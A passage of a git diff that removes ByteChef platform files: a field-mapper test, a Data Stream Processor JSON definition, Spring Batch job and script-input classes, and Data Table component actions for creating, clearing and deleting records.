-            Map.of("sourceField", "source.data.age", "destinationField", "target.info.userAge"));
-
-        doReturn(mappings).when(inputParameters)
-            .getList(eq("mappings"), any(TypeReference.class), eq(List.of()));
-
-        Map<String, Object> data = Map.of("name", "John", "age", 30);
-        Map<String, Object> source = Map.of("data", data);
-        Map<String, Object> input = Map.of("source", source);
-
-        Map<String, Object> result = fieldMapperItemProcessor.process(
-            input, inputParameters, connectionParameters, context);
-
-        @SuppressWarnings("unchecked")
-        Map<String, Object> target = (Map<String, Object>) result.get("target");
-
-        @SuppressWarnings("unchecked")
-        Map<String, Object> info = (Map<String, Object>) target.get("info");
-
-        assertEquals("John", info.get("fullName"));
-        assertEquals(30, info.get("userAge"));
-    }
-
-    @Test
-    void testProcessWithMissingNestedSourceFieldUsesDefault() throws Exception {
-        List<Map<String, Object>> mappings = List.of(
-            Map.of("sourceField", "user.name", "destinationField", "name"),
-            Map.of("sourceField", "user.email", "destinationField", "email", "defaultValue", "unknown@example.com"));
-
-        doReturn(mappings).when(inputParameters)
-            .getList(eq("mappings"), any(TypeReference.class), eq(List.of()));
-
-        Map<String, Object> user = Map.of("name", "John");
-        Map<String, Object> input = Map.of("user", user);
-
-        Map<String, Object> result = fieldMapperItemProcessor.process(
-            input, inputParameters, connectionParameters, context);
-
-        assertEquals(2, result.size());
-        assertEquals("John", result.get("name"));
-        assertEquals("unknown@example.com", result.get("email"));
-    }
-}
diff --git a/server/libs/modules/components/data-stream-processor/src/test/resources/definition/data-stream-processor_v1.json b/server/libs/modules/components/data-stream-processor/src/test/resources/definition/data-stream-processor_v1.json
deleted file mode 100644
index fad9816ccb4..00000000000
--- a/server/libs/modules/components/data-stream-processor/src/test/resources/definition/data-stream-processor_v1.json
+++ /dev/null
@@ -1,190 +0,0 @@
-{
-  "actions": null,
-  "clusterElements": [ {
-    "name": "fieldMapper",
-    "description": "Maps fields from source to destination columns.",
-    "element": { },
-    "help": null,
-    "outputDefinition": null,
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "SELECT",
-      "defaultValue": false,
-      "description": "Enable to manually define field schemas using JSON Schema format.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": false,
-      "hidden": null,
-      "label": "Use JSON Schema",
-      "metadata": { },
-      "name": "useJsonSchema",
-      "options": [ {
-        "description": null,
-        "label": "True",
-        "value": true
-      }, {
-        "description": null,
-        "label": "False",
-        "value": false
-      } ],
-      "placeholder": null,
-      "required": null,
-      "type": "BOOLEAN"
-    }, {
-      "name": "schemas",
-      "advancedOption": null,
-      "description": null,
-      "displayCondition": null,
-      "dynamicPropertiesDataSource": {
-        "properties": { },
-        "propertiesLookupDependsOn": [ "useJsonSchema" ]
-      },
-      "expressionEnabled": null,
-      "header": "Field Schemas",
-      "hidden": null,
-      "metadata": { },
-      "required": null,
-      "type": "DYNAMIC_PROPERTIES"
-    }, {
-      "advancedOption": null,
-      "controlType": "ARRAY_BUILDER",
-      "defaultValue": null,
-      "description": "List of field mappings from source to destination.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "items": [ {
-        "additionalProperties": null,
-        "advancedOption": null,
-        "controlType": "OBJECT_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "metadata": { },
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "properties": [ {
-          "advancedOption": null,
-          "controlType": "SELECT",
-          "defaultValue": null,
-          "description": "The field name from the source.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Source Field",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "sourceField",
-          "options": null,
-          "optionsDataSource": {
-            "options": { },
-            "optionsLookupDependsOn": null
-          },
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": true,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "SELECT",
-          "defaultValue": null,
-          "description": "The field name for the destination.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Destination Field",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "destinationField",
-          "options": null,
-          "optionsDataSource": {
-            "options": { },
-            "optionsLookupDependsOn": null
-          },
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": true,
-          "type": "STRING"
-        }, {
-          "advancedOption": null,
-          "controlType": "TEXT",
-          "defaultValue": null,
-          "description": "Default value when source field is missing.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": "Default Value",
-          "languageId": null,
-          "maxLength": null,
-          "metadata": { },
-          "minLength": null,
-          "name": "defaultValue",
-          "options": null,
-          "optionsDataSource": null,
-          "optionsLoadedDynamically": null,
-          "placeholder": null,
-          "regex": null,
-          "required": null,
-          "type": "STRING"
-        } ],
-        "required": null,
-        "type": "OBJECT"
-      } ],
-      "label": "Field Mappings",
-      "maxItems": null,
-      "metadata": { },
-      "minItems": null,
-      "multipleValues": null,
-      "name": "mappings",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": true,
-      "type": "ARRAY"
-    } ],
-    "title": "Field Mapper",
-    "type": {
-      "name": "PROCESSOR",
-      "key": "processor",
-      "label": "Processor",
-      "multipleElements": false,
-      "required": false
-    },
-    "workflowNodeDescription": null
-  } ],
-  "componentCategories": [ {
-    "name": "helpers",
-    "label": "Helpers"
-  } ],
-  "connection": null,
-  "customAction": null,
-  "customActionHelp": null,
-  "description": "Processes and transforms data in data streams.",
-  "icon": "path:assets/data-stream-processor.svg",
-  "metadata": null,
-  "name": "dataStreamProcessor",
-  "resources": null,
-  "tags": null,
-  "title": "Data Stream Processor",
-  "triggers": null,
-  "unifiedApi": null,
-  "version": 1
-}
\ No newline at end of file
diff --git a/server/libs/modules/components/data-stream/src/main/java/com/bytechef/component/datastream/batch/InMemoryBatchJobFactory.java b/server/libs/modules/components/data-stream/src/main/java/com/bytechef/component/datastream/batch/InMemoryBatchJobFactory.java
deleted file mode 100644
index a5785b404ec..00000000000
--- a/server/libs/modules/components/data-stream/src/main/java/com/bytechef/component/datastream/batch/InMemoryBatchJobFactory.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datastream.batch;
-
-import com.bytechef.component.datastream.item.ItemStreamProcessorDelegate;
-import com.bytechef.component.datastream.item.ItemStreamReaderDelegate;
-import com.bytechef.component.datastream.item.ItemStreamWriterDelegate;
-import com.bytechef.component.datastream.listener.DataStreamJobExecutionListener;
-import com.bytechef.platform.component.context.ContextFactory;
-import com.bytechef.platform.component.service.ClusterElementDefinitionService;
-import java.util.Map;
-import org.springframework.batch.core.job.Job;
-import org.springframework.batch.core.job.JobExecution;
-import org.springframework.batch.core.job.builder.JobBuilder;
-import org.springframework.batch.core.job.parameters.JobParameters;
-import org.springframework.batch.core.job.parameters.RunIdIncrementer;
-import org.springframework.batch.core.launch.support.TaskExecutorJobLauncher;
-import org.springframework.batch.core.repository.JobRepository;
-import org.springframework.batch.core.repository.support.ResourcelessJobRepository;
-import org.springframework.batch.core.step.Step;
-import org.springframework.batch.core.step.builder.StepBuilder;
-import org.springframework.batch.infrastructure.support.transaction.ResourcelessTransactionManager;
-import org.springframework.stereotype.Component;
-import org.springframework.transaction.PlatformTransactionManager;
-
-/**
- * Factory for creating isolated in-memory Spring Batch job infrastructure per execution. Each call to
- * {@link #runJob(JobParameters)} creates a fresh repository, job launcher, step, and job, ensuring complete isolation
- * between concurrent executions.
- *
- * @author Ivica Cardic
- */
-@Component
-public class InMemoryBatchJobFactory {
-
-    private final ClusterElementDefinitionService clusterElementDefinitionService;
-    private final ContextFactory contextFactory;
-    private final DataStreamJobExecutionListener jobExecutionListener;
-
-    public InMemoryBatchJobFactory(
-        ClusterElementDefinitionService clusterElementDefinitionService, ContextFactory contextFactory,
-        DataStreamJobExecutionListener jobExecutionListener) {
-
-        this.clusterElementDefinitionService = clusterElementDefinitionService;
-        this.contextFactory = contextFactory;
-        this.jobExecutionListener = jobExecutionListener;
-    }
-
-    /**
-     * Creates and runs a job with fresh in-memory infrastructure. Each invocation creates isolated repository, job
-     * launcher, step, and job instances.
-     *
-     * @param jobParameters the job parameters
-     * @return the job execution result
-     * @throws Exception if job execution fails
-     */
-    public JobExecution runJob(JobParameters jobParameters) throws Exception {
-        JobRepository jobRepository = new ResourcelessJobRepository();
-        PlatformTransactionManager transactionManager = new ResourcelessTransactionManager();
-
-        Step step = new StepBuilder("inMemoryStep", jobRepository)
-            .<Map<String, Object>, Map<String, Object>>chunk(10, transactionManager)
-            .reader(new ItemStreamReaderDelegate(clusterElementDefinitionService, contextFactory))
-            .processor(new ItemStreamProcessorDelegate(clusterElementDefinitionService, contextFactory))
-            .writer(new ItemStreamWriterDelegate(clusterElementDefinitionService, contextFactory))
-            .build();
-
-        Job job = new JobBuilder("inMemoryDataStreamJob", jobRepository)
-            .listener(jobExecutionListener)
-            .incrementer(new RunIdIncrementer())
-            .start(step)
-            .build();
-
-        TaskExecutorJobLauncher jobLauncher = new TaskExecutorJobLauncher();
-
-        jobLauncher.setJobRepository(jobRepository);
-        jobLauncher.afterPropertiesSet();
-
-        return jobLauncher.run(job, jobParameters);
-    }
-}
diff --git a/server/libs/modules/components/data-stream/src/main/java/com/bytechef/component/datastream/script/DataStreamCodeEditorScriptInputProvider.java b/server/libs/modules/components/data-stream/src/main/java/com/bytechef/component/datastream/script/DataStreamCodeEditorScriptInputProvider.java
deleted file mode 100644
index d8381b61585..00000000000
--- a/server/libs/modules/components/data-stream/src/main/java/com/bytechef/component/datastream/script/DataStreamCodeEditorScriptInputProvider.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datastream.script;
-
-import static com.bytechef.component.datastream.constant.DataStreamConstants.DATA_STREAM;
-
-import com.bytechef.component.datastream.item.ItemStreamExecutionContext;
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.datastream.ItemReader;
-import com.bytechef.platform.component.ComponentConnection;
-import com.bytechef.platform.component.context.ContextFactory;
-import com.bytechef.platform.component.definition.ParametersFactory;
-import com.bytechef.platform.component.script.CodeEditorScriptInputProvider;
-import com.bytechef.platform.component.service.ClusterElementDefinitionService;
-import java.util.Map;
-import org.jspecify.annotations.Nullable;
-import org.springframework.batch.infrastructure.item.ExecutionContext;
-import org.springframework.stereotype.Component;
-
-/**
- * Provides script input values for DataStream cluster elements by reading the first record from the SOURCE ItemReader.
- *
- * @author Ivica Cardic
- */
-@Component
-public class DataStreamCodeEditorScriptInputProvider implements CodeEditorScriptInputProvider {
-
-    private final ClusterElementDefinitionService clusterElementDefinitionService;
-    private final ContextFactory contextFactory;
-
-    public DataStreamCodeEditorScriptInputProvider(
-        ClusterElementDefinitionService clusterElementDefinitionService, ContextFactory contextFactory) {
-
-        this.clusterElementDefinitionService = clusterElementDefinitionService;
-        this.contextFactory = contextFactory;
-    }
-
-    @Override
-    public String getRootComponentName() {
-        return DATA_STREAM;
-    }
-
-    @Override
-    public Map<String, Object> getScriptInputParameters(
-        int rootComponentVersion, String sourceComponentName, int sourceComponentVersion,
-        String sourceClusterElementName, Map<String, ?> sourceInputParameters,
-        @Nullable ComponentConnection sourceComponentConnection) {
-
-        ItemReader itemReader = clusterElementDefinitionService.getClusterElement(
-            sourceComponentName, sourceComponentVersion, sourceClusterElementName);
-
-        Parameters inputParameters = ParametersFactory.create(sourceInputParameters);
-
-        Parameters connectionParameters = sourceComponentConnection == null
-            ? ParametersFactory.create(Map.of())
-            : ParametersFactory.create(sourceComponentConnection.getParameters());
-
-        ClusterElementContext clusterElementContext = contextFactory.createClusterElementContext(
-            sourceComponentName, sourceComponentVersion, sourceClusterElementName, sourceComponentConnection, true);
-
-        ItemStreamExecutionContext executionContext = new ItemStreamExecutionContext(new ExecutionContext());
-
-        try {
-            itemReader.open(inputParameters, connectionParameters, clusterElementContext, executionContext);
-
-            Map<String, Object> firstRecord = itemReader.read();
-
-            if (firstRecord == null) {
-                return Map.of("item", Map.of());
-            }
-
-            return Map.of("item", firstRecord);
-        } catch (Exception exception) {
-            throw new RuntimeException("Failed to read first record from ItemReader", exception);
-        } finally {
-            itemReader.close();
-        }
-    }
-}
diff --git a/server/libs/modules/components/data-stream/src/main/java/com/bytechef/component/datastream/script/package-info.java b/server/libs/modules/components/data-stream/src/main/java/com/bytechef/component/datastream/script/package-info.java
deleted file mode 100644
index cbaf8d0f9c0..00000000000
--- a/server/libs/modules/components/data-stream/src/main/java/com/bytechef/component/datastream/script/package-info.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright 2023-present ByteChef Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-@NullMarked
-package com.bytechef.component.datastream.script;
-
-import org.jspecify.annotations.NullMarked;
diff --git a/server/libs/modules/components/data-table/build.gradle.kts b/server/libs/modules/components/data-table/build.gradle.kts
deleted file mode 100644
index ba39e47fd5e..00000000000
--- a/server/libs/modules/components/data-table/build.gradle.kts
+++ /dev/null
@@ -1,8 +0,0 @@
-version="1.0"
-
-dependencies {
-    implementation("org.springframework:spring-context")
-    implementation(project(":sdks:backend:java:component-api"))
-    implementation(project(":server:libs:automation:automation-data-table:automation-data-table-api"))
-    implementation(project(":server:libs:core:commons:commons-util"))
-}
diff --git a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/DataTableComponentHandler.java b/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/DataTableComponentHandler.java
deleted file mode 100644
index 938721dd2ab..00000000000
--- a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/DataTableComponentHandler.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datatable;
-
-import static com.bytechef.component.datatable.constant.DataTableConstants.DATA_TABLE;
-import static com.bytechef.component.definition.ComponentDsl.component;
-
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.configuration.service.DataTableWebhookService;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import com.bytechef.component.ComponentHandler;
-import com.bytechef.component.datatable.action.DataTableClearTableAction;
-import com.bytechef.component.datatable.action.DataTableCreateRecordsAction;
-import com.bytechef.component.datatable.action.DataTableDeleteRecordsAction;
-import com.bytechef.component.datatable.action.DataTableFindRecordsAction;
-import com.bytechef.component.datatable.action.DataTableGetRecordAction;
-import com.bytechef.component.datatable.action.DataTableUpdateRecordAction;
-import com.bytechef.component.datatable.trigger.DataTableRecordCreatedTrigger;
-import com.bytechef.component.datatable.trigger.DataTableRecordDeletedTrigger;
-import com.bytechef.component.datatable.trigger.DataTableRecordUpdatedTrigger;
-import com.bytechef.component.definition.ComponentCategory;
-import com.bytechef.component.definition.ComponentDefinition;
-import com.bytechef.platform.component.definition.AbstractComponentDefinitionWrapper;
-import org.springframework.stereotype.Component;
-
-/**
- * Data Table component providing actions and triggers for table row events.
- *
- * @author Ivica Cardic
- */
-@Component(DATA_TABLE + "_v1_ComponentHandler")
-public class DataTableComponentHandler implements ComponentHandler {
-
-    private final ComponentDefinition componentDefinition;
-
-    public DataTableComponentHandler(
-        DataTableService dataTableService, DataTableRowService dataTableRowService,
-        DataTableWebhookService dataTableWebhookService) {
-
-        this.componentDefinition = new DataTableComponentDefinitionImpl(
-            dataTableService, dataTableRowService, dataTableWebhookService);
-    }
-
-    @Override
-    public ComponentDefinition getDefinition() {
-        return componentDefinition;
-    }
-
-    private static class DataTableComponentDefinitionImpl extends AbstractComponentDefinitionWrapper {
-
-        public DataTableComponentDefinitionImpl(
-            DataTableService dataTableService, DataTableRowService dataTableRowService,
-            DataTableWebhookService dataTableWebhookService) {
-
-            super(component(DATA_TABLE)
-                .title("Data Table")
-                .description("Work with ByteChef Data Tables and react to row changes.")
-                .icon("path:assets/data-table.svg")
-                .categories(ComponentCategory.HELPERS)
-                .actions(
-                    DataTableCreateRecordsAction.of(dataTableService, dataTableRowService),
-                    DataTableDeleteRecordsAction.of(dataTableService, dataTableRowService),
-                    DataTableUpdateRecordAction.of(dataTableService, dataTableRowService),
-                    DataTableGetRecordAction.of(dataTableService, dataTableRowService),
-                    DataTableFindRecordsAction.of(dataTableService, dataTableRowService),
-                    DataTableClearTableAction.of(dataTableService, dataTableRowService))
-                .triggers(
-                    DataTableRecordCreatedTrigger.of(
-                        dataTableRowService, dataTableService, dataTableWebhookService),
-                    DataTableRecordUpdatedTrigger.of(
-                        dataTableRowService, dataTableService, dataTableWebhookService),
-                    DataTableRecordDeletedTrigger.of(
-                        dataTableRowService, dataTableService, dataTableWebhookService)));
-        }
-    }
-}
diff --git a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableClearTableAction.java b/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableClearTableAction.java
deleted file mode 100644
index a95a9b6a037..00000000000
--- a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableClearTableAction.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datatable.action;
-
-import static com.bytechef.component.datatable.constant.DataTableConstants.TABLE;
-import static com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.execution.domain.DataTableRow;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import com.bytechef.component.datatable.util.DataTableUtils;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.platform.component.definition.ActionContextAware;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-
-/**
- * Clear Table: Delete all records from a table
- *
- * @author Ivica Cardic
- */
-public class DataTableClearTableAction {
-
-    private final DataTableService dataTableService;
-    private final DataTableRowService dataTableRowService;
-
-    @SuppressFBWarnings("EI")
-    public static ModifiableActionDefinition of(
-        DataTableService dataTableService, DataTableRowService dataTableRowService) {
-
-        return new DataTableClearTableAction(dataTableService, dataTableRowService).build();
-    }
-
-    private DataTableClearTableAction(DataTableService dataTableService, DataTableRowService dataTableRowService) {
-        this.dataTableService = dataTableService;
-        this.dataTableRowService = dataTableRowService;
-    }
-
-    private ModifiableActionDefinition build() {
-        return action("clearTable")
-            .title("Clear Table")
-            .description("Delete all records from a table")
-            .properties(
-                string(TABLE)
-                    .label("Table")
-                    .required(true)
-                    .options(DataTableUtils.getActionTableOptions(dataTableService)))
-            .output(
-                outputSchema(
-                    object()
-                        .properties(integer("deletedCount"))))
-            .perform(this::perform);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private Object perform(
-        Parameters inputParameters, Parameters connectionParameters, ActionContext actionContext) {
-
-        ActionContextAware actionContextAware = (ActionContextAware) actionContext;
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-
-        List<DataTableRow> dataTableRows = dataTableRowService.listRows(
-            baseName, Integer.MAX_VALUE, 0, Objects.requireNonNull(actionContextAware.getEnvironmentId()));
-        int count = 0;
-
-        for (DataTableRow dataTableRow : dataTableRows) {
-            if (dataTableRowService.deleteRow(baseName, dataTableRow.id(), actionContextAware.getEnvironmentId())) {
-                count++;
-            }
-        }
-
-        Map<String, Object> result = new HashMap<>();
-
-        result.put("deletedCount", count);
-
-        return result;
-    }
-}
diff --git a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableCreateRecordsAction.java b/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableCreateRecordsAction.java
deleted file mode 100644
index 357761d8c44..00000000000
--- a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableCreateRecordsAction.java
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datatable.action;
-
-import static com.bytechef.component.datatable.constant.DataTableConstants.RECORDS;
-import static com.bytechef.component.datatable.constant.DataTableConstants.TABLE;
-import static com.bytechef.component.datatable.constant.DataTableConstants.VALUES;
-import static com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.dynamicProperties;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.definition.BaseOutputDefinition.OutputResponse;
-import static com.bytechef.platform.configuration.domain.Environment.DEVELOPMENT;
-
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.execution.domain.DataTableRow;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import com.bytechef.component.datatable.util.DataTableUtils;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.Property;
-import com.bytechef.platform.component.definition.ActionContextAware;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-
-/**
- * Create Record(s): Insert one or more new records to a table
- *
- * @author Ivica Cardic
- */
-public class DataTableCreateRecordsAction {
-
-    private final DataTableService dataTableService;
-    private final DataTableRowService dataTableRowService;
-
-    @SuppressFBWarnings("EI")
-    public static ModifiableActionDefinition of(
-        DataTableService dataTableService, DataTableRowService dataTableRowService) {
-
-        return new DataTableCreateRecordsAction(dataTableService, dataTableRowService).build();
-    }
-
-    private DataTableCreateRecordsAction(DataTableService dataTableService, DataTableRowService dataTableRowService) {
-        this.dataTableService = dataTableService;
-        this.dataTableRowService = dataTableRowService;
-    }
-
-    private ModifiableActionDefinition build() {
-        return action("createRecords")
-            .title("Create Record(s)")
-            .description("Insert one or more new records to a table")
-            .properties(
-                string(TABLE)
-                    .label("Table")
-                    .required(true)
-                    .options(DataTableUtils.getActionTableOptions(dataTableService)),
-                dynamicProperties(RECORDS)
-                    .propertiesLookupDependsOn(TABLE)
-                    .properties(DataTableUtils.createDynamicProperties(dataTableService, false))
-                    .required(true))
-            .output(this::output)
-            .perform(this::perform);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private OutputResponse output(
-        Parameters inputParameters, Parameters connectionParameters, ActionContext actionContext) {
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-
-        var rowSchema = DataTableUtils.rowObjectSchema(dataTableService, DEVELOPMENT, baseName);
-
-        List<DataTableRow> rows = dataTableRowService.listRows(baseName, 1, 0, DEVELOPMENT.ordinal());
-
-        if (rows.isEmpty()) {
-            return OutputResponse.of(array().items((Property.ValueProperty<?>) rowSchema));
-        }
-
-        DataTableRow firstRow = rows.getFirst();
-
-        Map<String, Object> sampleOutput = DataTableUtils.createSampleOutput(
-            dataTableService, DEVELOPMENT, baseName, firstRow.id(), firstRow.values());
-
-        return OutputResponse.of(array().items((Property.ValueProperty<?>) rowSchema), List.of(sampleOutput));
-    }
-
-    @SuppressWarnings({
-        "unchecked", "PMD.UnusedFormalParameter"
-    })
-    private Object perform(
-        Parameters inputParameters, Parameters connectionParameters, ActionContext actionContext) {
-
-        ActionContextAware actionContextAware = (ActionContextAware) actionContext;
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-
-        Map<String, Object> recordsMap = inputParameters.getRequiredMap(RECORDS, Object.class);
-        Object valuesObj = recordsMap.get(VALUES);
-
-        List<DataTableRow> created = new ArrayList<>();
-
-        if (valuesObj instanceof List<?> valuesList) {
-            for (Object record : valuesList) {
-                if (record instanceof Map<?, ?> map) {
-                    created.add(
-                        dataTableRowService.insertRow(
-                            baseName, (Map<String, Object>) map,
-                            Objects.requireNonNull(actionContextAware.getEnvironmentId())));
-                }
-            }
-        }
-
-        return created;
-    }
-}
diff --git a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableDeleteRecordsAction.java b/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableDeleteRecordsAction.java
deleted file mode 100644
index e34ba94a4c4..00000000000
--- a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/action/DataTableDeleteRecordsAction.java
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datatable.action;
-
-import static com.bytechef.component.datatable.constant.DataTableConstants.IDS;
-import static com.bytechef.component.datatable.constant.DataTableConstants.TABLE;
-import static com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import com.bytechef.component.datatable.util.DataTableUtils;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.platform.component.definition.ActionContextAware;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-
-/**
- * Delete Record(s): Delete record(s) from a table
- *
- * @author Ivica Cardic
- */
-public class DataTableDeleteRecordsAction {
-
-    private final DataTableService dataTableService;
-    private final DataTableRowService dataTableRowService;
-
-    @SuppressFBWarnings("EI")
-    public static ModifiableActionDefinition of(
-        DataTableService dataTableService, DataTableRowService dataTableRowService) {
-
-        return new DataTableDeleteRecordsAction(dataTableService, dataTableRowService).build();
-    }
-
-    private DataTableDeleteRecordsAction(DataTableService dataTableService, DataTableRowService dataTableRowService) {
-        this.dataTableService = dataTableService;
-        this.dataTableRowService = dataTableRowService;
-    }
-
-    private ModifiableActionDefinition build() {
-        return action("deleteRecords")
-            .title("Delete Record(s)")
-            .description("Delete record(s) from a table")
-            .properties(
-                string(TABLE)
